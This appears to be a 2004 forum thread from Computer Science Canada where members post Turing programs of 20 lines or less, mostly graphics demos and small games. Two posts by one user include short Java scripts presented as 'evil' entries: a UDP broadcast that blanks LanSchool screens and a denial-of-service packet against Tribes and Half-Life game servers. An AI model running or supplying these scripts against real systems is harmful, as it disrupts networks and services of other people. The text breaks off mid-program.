Computer Science Canada

Turing Contest 255chr max - changed to 20 line max

Author:  beard0 [ Sun Jun 20, 2004 4:47 pm ]
Post subject:  Turing Contest 255chr max - changed to 20 line max

Make the program that is voted "best" in 255 chars or less in Turing - white space not included in character count, so format it nicely.

Voting criteria will be purely up to the voter - whichever program they feel deserves the credit. Very Happy

Contest will close July 10th.

Author:  zylum [ Sun Jun 20, 2004 5:44 pm ]
Post subject: 

IMO it shouldnt be characters because then ppl will use var names like a b c etc... it should be either the size of the stand alone or the line count...

i say it should be up to 20 lines...

Author:  Tony [ Sun Jun 20, 2004 6:07 pm ]
Post subject: 

i'm in favour of 20 line rule

Author:  beard0 [ Sun Jun 20, 2004 7:31 pm ]
Post subject: 

20 lines, after F2 is hit, it is then.

Author:  bugzpodder [ Sun Jun 20, 2004 8:13 pm ]
Post subject: 

I did not make this
but this is so cool i decided it to cut it down to twenty lines (it was like forty) again, i take no credit for the original code

code:

var win1 : int := Window.Open ("graphics:500;500,noecho,nocursor")
var x, y, c, r : real := 250
loop
    for decreasing center : 250 .. -50 by 50
        r := 0
        for q : 1 .. 5
            for i : 1 .. 50000
                r += .001
                c := round ((x + round (((q - 1) * 50000 + i - 1) * .001 + cos (i) * r) + y + round (((q - 1) * 50000 + i - 1) * .001 + sin (i) * r)) / 40 + 40 + cos (round (((q - 1) * 50000 + i
                    - 1) * .001 + cos (i) * r)) + sin (round (((q - 1) * 50000 + i - 1) * .001 + sin (i) * r)) + q * 2)
                x := round (center + ((q - 1) * 50000 + i - 1) * .001 + cos (i) * r)
                y := round (center + ((q - 1) * 50000 + i - 1) * .001 + sin (i) * r)
                drawdot (round (x), round (y), round (c))
                drawdot (round (500 - x), round (y), round (c))
                drawdot (round (x), round (500 - y), round (c))
                drawdot (round (500 - x), round (500 - y), round (c))
            end for
        end for
    end for
end loop

Author:  Paul [ Sun Jun 20, 2004 9:05 pm ]
Post subject: 

Nice Very Happy Now, is that just a cool visual effect or does it have some significance that I don't know about?

Author:  zylum [ Mon Jun 21, 2004 12:30 pm ]
Post subject: 

wow, that's really cool. you guys remember the one me, catalyst, jonos and paulbian had? well jonos and paulbian didnt submit so i guess it was just me and catalyst....

mine:

code:
setscreen ("graphics:220;140,offscreenonly")
const size := ceil (sqrt (2 * 220 ** 2))
var clr : array 1 .. size of int
for i : 1 .. size
    clr (i) := RGB.AddColor (i / (size * 2), i / (size * 2) + 0.35, 1)
end for
var wave : array 1 .. size div 2 of real
for i : 1 .. size div 2
    wave (i) := i / 5
end for
var c : int
drawfillbox (0, 0, maxx, maxy, clr (upper (clr) div 2))
loop
    for decreasing i : size div 2 .. 1
        wave (i) -= 0.7
        c := ceil ((sin (wave (i)) * (abs (size - i * 2.3)) / 3 + (size div 2)))
        drawfilloval (maxx div 2, round (maxy / 2 + c / 20) - 8, i, i div 2, clr (c))
    end for
    View.Update
end loop


catalysts: (bit of a rip off but still cool)

code:
setscreen ("graphics:300;300,offscreenonly")
var vals : array 1 .. 150 of real
proc ColorSet (c1, c2, n : int)
    var r1, g1, b1, r2, g2, b2, p, p0, clr : real
    RGB.GetColor (c1, r1, g1, b1)
    RGB.GetColor (c2, r2, g2, b2)
    for i : 1 .. n
        p := (i / n) * 100
        p0 := 100 - p
        clr := RGB.AddColor ((((r1 * p) + (r2 * p0)) / 2) / 50, (((g1 * p) + (g2 * p0)) / 2) / 50, (((b1 * p) + (b2 * p0)) / 2) / 50)
    end for
end ColorSet
ColorSet (55, 1, 128)
ColorSet (53, 55, 88)
ColorSet (102, 53, 32)
for i : 1 .. 150
    vals (i) := i
end for
drawfillbox (0, 0, maxx, maxy, 7)
loop
    for decreasing i : 150 .. 1
        vals (i) -= 2
        drawfilloval (maxx div 2, 100 - round (sind (vals (i) * 5) * 15), i * 2, i, round (maxcolor - ((sind (vals (i) * 5) + 1) / 2) * 220))
    end for
    View.Update
end loop


maybe we should make this one have a theme too? maybe fire?

Author:  Catalyst [ Mon Jun 21, 2004 1:19 pm ]
Post subject: 

whee

code:
var s, a, b, c, d, e, f, g, h, j : real := 300
fcn sa (var A : real, C : real) : boolean
    A := C
    result false
end sa
for x : 1 .. round (s * s)
    exit when sa (b, x div s) or sa (a, x - b * s) or sa (d, 3.5 / s * b - 1.75) or sa (c, 3.5 / s * a - 1.75) or sa (g, d) or sa (h, c)
    for i : 1 .. 75
        exit when sa (j, i) or (c - s / 2) ** 2 + (d - s / 2) ** 2 > 230 ** 2 or i > 75 or sa (e, d * d - c * c + g) or sa (f, d * c + c * d + h) or sa (d, e) or sa (c, f)
    end for
    drawdot (round (b), round (a), 15 + round (j / 75 * 15))
end for


Author:  beard0 [ Mon Jun 21, 2004 3:23 pm ]
Post subject: 

Catalyst:
Nice job with the function so that you could put multiple calls on the same line, good thinking.

Author:  GlobeTrotter [ Mon Jun 21, 2004 3:35 pm ]
Post subject: 

code:

var s, a, b, c, d, e, f, g, h, j := 300.0
fcn k (var A : real, C : real) : boolean
    A := C
    result false
end k
for x : 1 .. round (s * s)
    exit when k (b, x div s) or k (a, x - b * s) or k (d, 3.5 / s * b - 1.75) or k (c, 3.5 / s * a - 1.75) or k (g, d) or k (h, c)
    for i : 1 .. 75
        exit when k (j, i) or (c - s / 2) ** 2 + (d - s / 2) ** 2 > 52900 or i > 75 or k (e, d * d - c * c + g) or k (f, d * c + c * d + h) or k (d, e) or k (c, f)
    end for
    drawdot (round (b), round (a), 15 + round (j * 0.2))
end for

I made yours a bit smaller.

Author:  beard0 [ Wed Jun 23, 2004 7:46 am ]
Post subject: 

Here's mine. Didn't know it was going to be as interesting as it was, compressing it into a mere 20 lines. Keep posting more programs!
code:
View.Set ("offscreenonly,nobuttonbar,graphics:400;200,title:Curtains")
var c, t := 0
for i : 1 .. maxcolour
    if i < 85 then
        RGB.SetColour (i, (sign (42.5 - i) + 1) / 2 + (sign (i - 42.5) + 1) / 2 * (1 - (i mod 42.5) / 42.5), (sign (42.5 - i) + 1) / 2 * (i mod 42.5 / 42.5) + (sign (i - 42.5) + 1) / 2, 0)
    elsif i < 170 then
        RGB.SetColour (i, 0, (sign (127.5 - i) + 1) / 2 + (sign (i - 127.5) + 1) / 2 * (1 - (i mod 42.5) / 42.5), (sign (127.5 - i) + 1) / 2 * ((i mod 42.5) / 42.5) + (sign (i - 127.5) + 1) / 2)
    else
        RGB.SetColour (i, (sign (212.5 - i) + 1) / 2 * ((i mod 42.5) / 42.5) + (sign (i - 212.5) + 1) / 2, 0, (sign (212.5 - i) + 1) / 2 + (sign (i - 212.5) + 1) / 2 * (1 - (i mod 42.5) / 42.5))
    end if
end for
loop
    t := (t + 20) mod 600 % adjust the 20 for speed/smoothness (factor of 400)
    for x : 1 .. 200 * 200
        c := round ((abs (300 - t) + 20) * ln (x mod 200 + 2) / ln (x div 200 + 2))
        drawdot (x mod 200, x div 200, max (1, min (c, maxcolour - 1)))
        drawdot (399 - x mod 200, x div 200, max (1, min (c, maxcolour - 1)))
    end for
    View.Update
end loop


/**** This is what my if statements above accomplish, through mathematical "ifs", to save lines:
**** (sign(x-y)+1)/2 is 1 when x>y and 0 when x<y, so by multiplying one by the value I'm trying
**** to achieve in one circumstance, plus the other times the value I want in that circumstance I
**** either get 0*val1+1*val2 or 1*val1+0*val2. By combining these, you can actually specify ranges,
**** so if I had a lot of time on my hands, I *could* have done it without any if statements - but my
**** RGB.SetColour line would have been huge.

if i < 42.5 then
RGB.SetColour (i, 1, i / 42.5, 0)
elsif i < 85 then
RGB.SetColour (i, 1 - (i mod 42.5) / (42.5), 1, 0)

elsif i < 127.5 then
RGB.SetColour (i, 0, 1, (i mod 42.5) / (42.5))
elsif i < 170 then
RGB.SetColour (i, 0, 1 - (i mod 42.5) / (42.5), 1)

elsif i < 212.5 then
RGB.SetColour (i, (i mod 42.5) / 42.5, 0, 1)
else
RGB.SetColour (i, 1, 0, 1 - (i mod 42.5) / 42.5)

end if
*/

Author:  Delos [ Wed Jun 23, 2004 10:08 pm ]
Post subject: 

[demoic laugh]
Ha ha ha ha ha!!!!!
[/demoic laugh]

You all with your graphical impressions!
I present you all with an interactive game!
Ha!
Fully functioning!
20 lines!
Bloody tight coding!
It hurt my head making this.
And I've finished school.
My head shouldn't be hurting for something like this.
But it did.
And it works!

I present to you...BlackJack in 20 Lines!
(Sorry, no nice graphics...I can only do so much in 20 lines!)

code:

var player1, player2 : int := 0
var answer : string (1)
loop
    put "Draw? (y/n)", repeat (".", 10), "You: ", player1, "   Comp: ", player2
    exit when player1 > 21 or player2 > 21
    getch (answer)
    if answer = "y" or answer = "Y" then
        player1 += Rand.Int (1, 10)
        player2 += Rand.Int (1, 10)
    elsif answer = "n" or answer = "N" then
        if player1 > player2 and player1 > 16 then
            put "You Win!"
        else
            put "You lose"
        end if
        player1 := 0
        player2 := 0
    end if
end loop
put "The player with ", max (player1, player2), " points has lost!"



[Muwahahahahahahahaha]

I can just feel it...someone is going to do all of this in like, 12 lines...and totally make me look the fool...meh!

Author:  zylum [ Wed Jun 23, 2004 11:43 pm ]
Post subject: 

im sure some of you have seen me post this before but i shortened it down a bit and made it better too:

code:
var coords : array 1 .. maxx, 1 .. maxy of int
var clrs : array 1 .. 500 of int %change the upper bound to alter smootheness ( > makes smoother)
for i : 1 .. upper (clrs)
    clrs (i) := RGB.AddColor (i / upper (clrs), i / upper (clrs), i / upper (clrs)) %(i,i,i) = b&w, (1,i,i) = red, (0,i,i) = teal etc...
end for
coords (1, 1) := Rand.Int (upper (clrs) div 3, upper (clrs) - upper (clrs) div 3)
for x : 1 .. maxx
    for y : 1 .. maxy
        if x = 1 and y > 1 then
            coords (x, y) := min (upper (clrs), max (1, coords (x, y - 1) + Rand.Int (-5, 5)))
            drawdot (x, y, clrs (coords (x, y)))
        elsif y = 1 and x > 1 then
            coords (x, y) := round (min (upper (clrs), max (1, coords (x - 1, y) + Rand.Int (-5, 5))))
            drawdot (x, y, clrs (coords (x, y)))
        elsif x > 1 and y > 1 then
            coords (x, y) := round (min (upper (clrs), max (1, ((coords (x, y - 1) + coords (x - 1, y - 1)) / 2) + Rand.Int (-5, 5))))
            drawdot (x, y, clrs (coords (x, y)))
        end if
    end for
end for


Wink

Author:  beard0 [ Thu Jun 24, 2004 12:38 pm ]
Post subject: 

Delos wrote:
[demoic laugh]
Ha ha ha ha ha!!!!!
[/demoic laugh]

You all with your graphical impressions!
I present you all with an interactive game!

With a challenge like that, I had to rise to it. To counter Delos's "Black Jack" in which the computer only draws when you do, and you even get to see exactly what the computer has, I produce the mouse controlled TicTacToe game, in 20 lines.
Th demonic laugh is now mine Twisted Evil
code:
var x, y, b, ob, count := 0
var whatchar : array - 2 .. 4, -2 .. 4 of char := init (" ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ")
put repeat (repeat ("     |     |" + chr (10), 3) + "-----+-----+-----" + chr (10), 2) + repeat ("     |     |" + chr (10), 3),"Welcome to Matt's TicTacToe Game, in 20 lines.",chr(10),"Use the mouse in turns with a friend to play the game.",chr(10),"Enjoy!"
loop
    ob := b
    mousewhere (x, y, b)
    if x < 135 and maxy - y < 180 and b > 0 and ob = 0 and whatdotcolor ((x div 45) * 48 + 18, ((maxy - y) div 60) * -64 + 373) = white then
        count += 1
        locate (((maxy - y) div 60) * 4 + 2, (x div 45) * 6 + 3)
        whatchar (x div 45, (maxy - y) div 60) := chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O")))
        put chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O"))) ..
        exit when (whatchar (x div 45 - 2, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 2, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 2, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 2, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 2, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 2, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60))
    end if
    if count = 9 then
        count += 1
        exit
    end if
end loop
locate (12, 1)
put repeat (chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O"))) + "'s win!", 1 - count div 10) + repeat ("Tie game!", count div 10) + repeat (chr (10), 3)

Yes, maybe my "exit when" line is a little long - but it is one line!

Author:  Tony [ Thu Jun 24, 2004 2:38 pm ]
Post subject: 

wow beard0, that's impressive Laughing
+20Bits

Author:  Delos [ Thu Jun 24, 2004 3:07 pm ]
Post subject: 

Hmf.

I shall have to counter that counter now...

BTW, I made a slight edit to the Black Jack up there...now to win you have to be above 16 points Very Happy

Author:  beard0 [ Thu Jun 24, 2004 3:51 pm ]
Post subject: 

Delos: I pre-counter your counter counter:
TicTacToe is down to 17 lines:
code:
var x, y, b, ob, count := 1
var whatchar : array - 2 .. 4, -2 .. 4 of char := init (" ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ")
put repeat (repeat ("     |     |" + chr (10), 3) + "-----+-----+-----" + chr (10), 2) + repeat ("     |     |" + chr (10), 3),"Welcome to Matt's TicTacToe Game, in 17 lines.",chr(10),"Use the mouse in turns with a friend to play the game.",chr(10),"Enjoy!"
loop
    ob := b
    mousewhere (x, y, b)
    if x < 135 and maxy - y < 180 and b > 0 and ob = 0 and whatdotcolor ((x div 45) * 48 + 18, ((maxy - y) div 60) * -64 + 373) = white then
        locate (((maxy - y) div 60) * 4 + 2, (x div 45) * 6 + 3)
        whatchar (x div 45, (maxy - y) div 60) := chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O")))
        put chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O"))) ..
        exit when (whatchar (x div 45 - 2, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 2, (maxy - y) div 60) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 2, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 2, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 2, (maxy - y) div 60 - 2) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 + 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 + 1, (maxy - y) div 60 - 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60)) or (whatchar (x div 45 - 1, (maxy - y) div 60 + 1) = whatchar (x div 45, (maxy - y) div 60) and whatchar (x div 45 - 2, (maxy - y) div 60 + 2) = whatchar (x div 45, (maxy - y) div 60))
        count += 1
    end if
    exit when count = 10
end loop
locate (12, 1)
put repeat (chr (ord ("O") + count mod 2 * (ord ("X") - ord ("O"))) + "'s win!", 1 - count div 10) + repeat ("Tie game!", count div 10) + repeat (chr (10), 3)

Author:  Delos [ Thu Jun 24, 2004 4:17 pm ]
Post subject: 

That's awsome beard0!

Ok, I present to you...
Flashy Pong in Twenty Lines!
code:

var coords : array 1 .. 9 of real := init (100, 100, 0.1, 0.1, 7, 10, 0, 7, 0.3)
var ch : array char of boolean
loop
    Input.KeyDown (ch)
    if ch ('c') then
        coords (9) := -coords (9)
    end if
    coords (6) += coords (9)
    exit when coords (2) <= 0
    drawfilloval (round (coords (1)), round (coords (2)), 10, 10, round (coords (5)))
    drawfillbox (round (coords (6)), round (coords (7)), round (coords (6)) + 100, round (coords (7)) + 10, round (coords (5)))
    if coords (1) <= 0 or coords (1) >= maxx then
        coords (3) := -coords (3)
    elsif coords (2) >= maxy or (coords (1) >= coords (6) and coords (1) <= (coords (6) + 100) and coords (2) >= 0 and coords (2) <= coords (7) + 10) then
        coords (4) := -coords (4)
    end if
    coords (1) += coords (3)
    coords (2) += coords (4)
    cls
end loop


You'll notice the lack of delays...that really screwed me up...
And yes, I know that a siezure warning is pertinent here.
So...
WARNING! THE ABOVE CODE WHEN RUN MAY CAUSE SEIZURES. CAUTION IS ADVISED.

Urgh...this is...not quite as good as it should be...but there's only so much doable w/ 20 lines!

Instructions:

Sit a bit farther back from your monitor than you usually do.
When the game starts (after pressing F1), the ball will be moving away from you.
The paddle has continuous movement.
To change its direction, press 'c'.
Hold down 'c' to keep it still.
Try to keep the ball in play.

Author:  zylum [ Thu Jun 24, 2004 6:16 pm ]
Post subject: 

ok since we're into making games 20 lines or less, here's green screen in 20 lines:

code:
var board : array 0 .. 6, 0 .. 6 of int := init (1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1)
var mx, my, md, total : int
fcn updateBoardFunction (x, y : int) : boolean
    board (x, y) := abs (board (x, y) - 1)
    result false
end updateBoardFunction
loop
    total := 0
    for x : 1 .. upper (board) - 1
        for y : 1 .. upper (board) - 1
            drawfillbox (x * 20, y * 20, x * 20 + 18, y * 20 + 18, (board (x, y) + 1) * 2)
            total += board (x, y)
        end for
    end for
    mousewhere (mx, my, md)
    if md = 1 and mx >= 20 and my >= 20 and mx <= upper (board) * 20 + 18 and my <= upper (board) * 20 + 18 then
        exit when updateBoardFunction (mx div 20, my div 20) or updateBoardFunction (mx div 20 - 1, my div 20) or updateBoardFunction (mx div 20 + 1, my div 20) or updateBoardFunction (mx div 20, my div 20 - 1) or updateBoardFunction (mx div 20, my div 20 + 1) or total = 0
    end if
end loop
put "you win!!!"


you know the deal, get the screen completely green to win

Author:  Dan [ Fri Jun 25, 2004 11:41 pm ]
Post subject: 

Note: the below outlines a hack that no longer works as the security hole has been fixed in version 7.0 and up of lanschool.

I know this is only for turing but i just had to add this:

LanSchool Java hack

code:

//LanSchool Hack
import java.net.*;

public class hack
{
        public static void main(String args[])
        {
                try
                {
                        InetAddress ipaddr=InetAddress.getByName("255.255.255.255");
                        DatagramSocket mysocket=new DatagramSocket();
                        byte sendbuf2[] = {0x08,0x01,(byte)0x02,0x00,(byte)0xda, (byte)0xd1};
                        DatagramPacket sendPacket2 = new DatagramPacket( sendbuf2, sendbuf2.length, ipaddr, 796);       
                        mysocket.send(sendPacket2);
                }
                catch(Exception e)
                {
                }
        }
}


It truns all the screens of all the computers on the network using LanSchool black Twisted Evil

Got to have an evil entry.

Author:  Catalyst [ Fri Jun 25, 2004 11:59 pm ]
Post subject: 

whee

code:
var px1, px2, py1, py2, ballx, bally, bvx, bvy, score1, score2 : int := -1
var chars : array char of boolean
fcn sa (cond : boolean, var b : int, a : int) : boolean
    if cond then
        b := a
    end if
    result false
end sa
loop
    View.Set ("graphics:600;300,position:center,center,offscreenonly,nobuttonbar,title:Score: "+intstr(score1+1)+" ][ "+intstr(score2))
    Input.KeyDown (chars)
    drawfilloval (ballx, bally, 10, 10, 42)
    drawfillbox (px1, py1, px1 + 15, py1 + 50, 103)
    drawfillbox (px2, py2, px2 + 15, py2 + 50, 103)
    exit when sa (true, px1, 0) or sa (true, px2, maxx - 15) or sa (bvx = 0, bvx, Rand.Int (1, 2)) or sa (ballx > (maxx - 15) and (bally > py2 and bally < (py2 + 50)), bvx, -bvx) or sa (ballx < 15 and (bally > py1 and bally < (py1 + 50)), bvx, -bvx) or sa (ballx > maxx, score1, score1 + 1) or sa (0 > ballx, score2, score2 + 1) or sa (ballx > maxx or 0 > ballx, bvx, Rand.Int (-2, 2)) or sa (ballx > maxx or 0 > ballx, bally, maxy div 2) or sa (ballx > maxx or 0 > ballx, ballx, maxx div 2) or sa (bally > maxy, bvy, -bvy) or sa (0 > bally, bvy, -bvy) or sa (true, ballx, ballx + bvx) or sa (true, bally, bally + bvy) or sa (chars ('q'), py1, py1 + 2) or sa (chars ('a'), py1, py1 - 2) or sa (chars ('o'), py2, py2 + 2) or sa (chars ('l'), py2, py2 - 2)
    View.Update
    delay (5)
    drawfillbox (0,0,maxx,maxy,7)
end loop

Author:  Dan [ Sat Jun 26, 2004 12:10 am ]
Post subject: 

Another evil java one:

this one will reset any Tribes 1 game server thos unbaning you from it and kicking every one off for a few mins:

Tribes 1 DoS atack:

code:

//Tribes 1 Server Hack
import java.net.*;
public class Thack
{
        public static void main(String args[]) throws Exception
        {
                        int port = 28003;
                        String add = "255.255.255.255";        
                       
                        InetAddress ipaddr=InetAddress.getByName(add);
                        DatagramSocket mysocket=new DatagramSocket();
                        byte sendbuf2[] = new byte[255];
                        for(int i=0; i < 255; i++)
                        {
                                sendbuf2[i] = (byte)0x01;
                        }       
                        DatagramPacket sendPacket2 = new DatagramPacket( sendbuf2, sendbuf2.length, ipaddr, port);
                        mysocket.send(sendPacket2);
        }
}



I think we need a new contest, java hacks in 20 lines Twisted Evil

EDIT: of corse you put the server port and ip for the port and add vars Wink

Author:  zylum [ Sat Jun 26, 2004 1:43 pm ]
Post subject: 

lol, nice one catalyst!

im beggining to think that the exit when / function that always returns false strategy is a bit cheap (even though i used it myself Embarassed )

Author:  Tony [ Sat Jun 26, 2004 2:35 pm ]
Post subject: 

after studing catalyst's code for a bit, I'm resubmitting my snake

code:

var chars : array char of boolean
var snake : array 1 .. 12 of int := init (1, 0, -1, -2, -3, -4, -5, -6, -7, -8, 1, 0)
function catalize (cond : boolean, var a : int, b : int) : boolean
    if cond then
        a := b
    end if
    result false
end catalize
loop
    View.Set ("graphics:500;500,offscreenonly,position:center,center,title:snake - score:" + intstr (snake (12)))
    Input.KeyDown (chars)
        exit when catalize(chars(chr(200)),snake(11),10) or catalize(chars(chr(203)),snake(11),-1) or catalize(chars(chr(205)),snake(11),1) or catalize(chars(chr(208)),snake(11),-10) or (snake(1) + snake(11)) > 100 or (snake(1) + snake(11)) < 0 or (snake(1) mod 10 = 0 and snake(11) = 1) or ((snake(1) - 1) mod 10 = 0 and snake(11) = -1) or catalize(true,snake(10),snake(9))or catalize(true,snake(9),snake(8))or catalize(true,snake(8),snake(7))or catalize(true,snake(7),snake(6))or catalize(true,snake(6),snake(5))or catalize(true,snake(5),snake(4))or catalize(true,snake(4),snake(3))or catalize(true,snake(3),snake(2))or catalize(true,snake(2),snake(1))or catalize(true,snake(1),snake(1)+snake(11)) or snake(1)=snake(2) or snake(1)=snake(3) or snake(1)=snake(4) or snake(1)=snake(5)or snake(1)=snake(6)or snake(1)=snake(7)or snake(1)=snake(8)or snake(1)=snake(9)or snake(1)=snake(10) or catalize(true,snake(12),snake(12)+1)
    Draw.FillBox (50, 0, 500, 500, green)
    for i : 1 .. 10
        Draw.FillBox ((snake (i) mod 10) * 50, (snake (i) div 10) * 50, (snake (i) mod 10) * 50 + 50, (snake (i) div 10) * 50 + 50, red)
        Draw.Box ((snake (i) mod 10) * 50, (snake (i) div 10) * 50, (snake (i) mod 10) * 50 + 50, (snake (i) div 10) * 50 + 50, black)
    end for
    View.Update
    delay (100)
end loop

Author:  Dan [ Sat Jun 26, 2004 2:57 pm ]
Post subject: 

An update on my Tribes server DoS, it will also work on hallflife servers and i think any game that is a mod of halflife (ie. counter strike). Also it may wrok on some other game servers like some of the unrealtrerment ones and some other games i have not test. There is much pointel for evil here Wink

Author:  Delos [ Sat Jun 26, 2004 2:59 pm ]
Post subject: 

!Sad!

I am so not worthy...

...

But I will make myself thus!
Ha ha!

Author:  beard0 [ Sun Jun 27, 2004 6:58 pm ]
Post subject: 

Catalyst: I'm very impressed with your pong game. One improvement that you should be able to manage would be to have the ball bounce on its edge rather than its center.

Author:  Catalyst [ Sun Jun 27, 2004 7:14 pm ]
Post subject: 

quite simple to fix
code:
var px1, px2, py1, py2, ballx, bally, bvx, bvy, score1, score2 : int := -1
var chars : array char of boolean
fcn sa (cond : boolean, var b : int, a : int) : boolean
    if cond then
        b := a
    end if
    result false
end sa
loop
    View.Set ("graphics:600;300,position:center,center,offscreenonly,nobuttonbar,title:Score: "+intstr(score1+1)+" ][ "+intstr(score2))
    Input.KeyDown (chars)
    drawfilloval (ballx, bally, 10, 10, 42)
    drawfillbox (px1, py1, px1 + 15, py1 + 50, 103)
    drawfillbox (px2, py2, px2 + 15, py2 + 50, 103)
    exit when sa (true, px1, 0) or sa (true, px2, maxx - 15) or sa (bvx = 0, bvx, Rand.Int (1, 2)) or sa (ballx > (maxx - 15) and (bally > py2 and bally < (py2 + 50)), bvx, -bvx) or sa (ballx < 25 and (bally > py1 and bally < (py1 + 50)), bvx, -bvx) or sa (ballx > maxx-10, score1, score1 + 1) or sa (0 > ballx, score2, score2 + 1) or sa (ballx > maxx or 0 > ballx, bvx, Rand.Int (-2, 2)) or sa (ballx > maxx or 0 > ballx, bally, maxy div 2) or sa (ballx > maxx or 0 > ballx, ballx, maxx div 2) or sa (bally > maxy-10, bvy, -bvy) or sa (10 > bally, bvy, -bvy) or sa (true, ballx, ballx + bvx) or sa (true, bally, bally + bvy) or sa (chars ('q'), py1, py1 + 2) or sa (chars ('a'), py1, py1 - 2) or sa (chars ('o'), py2, py2 + 2) or sa (chars ('l'), py2, py2 - 2)
    View.Update
    delay (5)
    drawfillbox (0,0,maxx,maxy,7)
end loop


Author:  TheFerret [ Sun Jun 27, 2004 10:25 pm ]
Post subject: 

Here is 2 of my short programs, I know one is a tid bit longer but it looks good...

code:
%Travis Baker
%Was UBER Bored and wanted to make something sexy... o_0
View.Set ("graphics:1000;600")
var x, y,add : int := 0
var xx, yy : int := 500
var c : int := 10
var col, col1 := 1
for i : 1 .. 4000
    col1 := 5
    y += c
    yy += c
    col += 1
    col1 -= 1
    if col >= 255 then
        col := 1
    end if
    if col1 <= 1 then
        col1 := 5
    end if
    drawline (x, y, xx * 2, yy - yy, col)
    drawline (x , y-y, xx*2, yy-500 , col)
end for


code:
%%%Travis Baker
%%%March 9, 2004
%%%Pyramid
setscreen ("graphics:400;400")
var x, y, x1, y1, col, col1 : int :=0
x1 := 400
y1 := 400
col := 1
loop
    for i : 1 .. 400
        delay (1)
        x += 1
        y += 1
